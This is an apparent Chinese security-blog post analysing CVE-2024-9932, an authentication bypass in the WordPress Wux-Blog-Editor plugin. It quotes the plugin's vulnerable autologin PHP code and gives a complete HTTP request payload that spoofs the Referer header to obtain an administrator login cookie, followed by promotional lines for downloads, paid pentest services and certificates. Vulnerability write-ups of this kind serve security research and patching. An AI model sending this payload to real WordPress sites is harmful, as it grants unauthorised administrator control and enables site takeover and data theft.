WordPress Wux-Blog-Editor 插件存在前台越权漏洞(直接成为管理员) CVE-2024-9932

WordPress Wux-Blog-Editor 插件存在前台越权漏洞(直接成为管理员) CVE-2024-9932

原创 Mstir 星悦安全 2024-12-31 04:25

点击上方
蓝字
关注我们 并设为
星标

0x00 前言

Wux-Blog-Editor 是在一个地方编辑来自所有不同WordPress网站的帖子和页面的插件

0x01 漏洞分析&复现

位于 /wp-content/plugins/wux-blog-editor/External_Post_Editor.php 中的 wuxbt_externalAutologin 方法存在前台越权漏洞,只需要传入Referer 为 https://blog.tool.wux.nl/ 即可直接登录管理员账号.


//AUTOLOGIN TO WORDPRESS
function wuxbt_externalAutologin( $request ) {
    wuxbt_forceToken();


    if($_SERVER['HTTP_REFERER'] != 'https://blog.tool.wux.nl/'){
        
        if($_SERVER['HTTP_REFERER'] == "https://$_SERVER[HTTP_HOST]$_SERVER[REQUEST_URI]"){
            
        }
        else{
            echo "Error code 444";
            exit;
        }
    }
    

    $blogusers = get_users( );
    // Array of WP_User objects.
    foreach ( $blogusers as $user ) {
        if ( in_array( 'administrator', (array) $user->roles ) ) {
            

            // Check if user is already logged in, redirect to account if true
            if (!is_user_logged_in()) {
                // Sanitize the received key to prevent SQL Injections
                $received_key = sanitize_text_field($_GET['token']);
                
                // Get the user id then set the login cookies to the browser
                wp_set_auth_cookie($user->ID);
                
                
                foreach($_COOKIE as $name => $value) {
                    // Find the cookie with prefix starting with "wordpress_logged_in_"
                    if(substr($name, 0, strlen('wordpress_logged_in_')) == 'wordpress_logged_in_') {
                        // Redirect to account page if the login cookie is already set.
                        echo 'Heeft gewerkt, ga naar /wp-admin';
                        wp_redirect( admin_url() );
                        exit;
                        
                    }
                }
                header("Refresh:1");
                echo 'Redirecting...';
                echo 'Laad deze oneindig? Ga dan naar /wp-admin';
            
            } else {
                wp_redirect( admin_url() );
                exit;
            }
        }else{
            // echo "Error code: 5U70";
        }
    }
}

add_action('rest_api_init', function () {
    register_rest_route('external-post-editor/v2', '/autologin', array(
        'methods' => 'GET',
        'callback' => 'wuxbt_externalAutologin',
        'permission_callback' => '__return_true',
    ));
});

Payload:


GET /wp-json/external-post-editor/v2/autologin HTTP/1.1
Host: 127.0.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Referer: https://blog.tool.wux.nl/
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: su_webp=1
Connection: close

可以看到直接添加了管理员的Cookie进去,然后直接访问 /wp-admin 即可进入后台

0x02 胶水下载

标签:代码审计,0day,渗透测试,系统,通用,0day,闲鱼,转转

下载地址关注公众号发送 241231 获取!



进公开群,代码审计,众测,驻场,渗透测试,攻防演练,CNVD证书全网最低价+VX: Lonely3944


免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,文章作者和本公众号不承担任何法律及连带责任,望周知!!!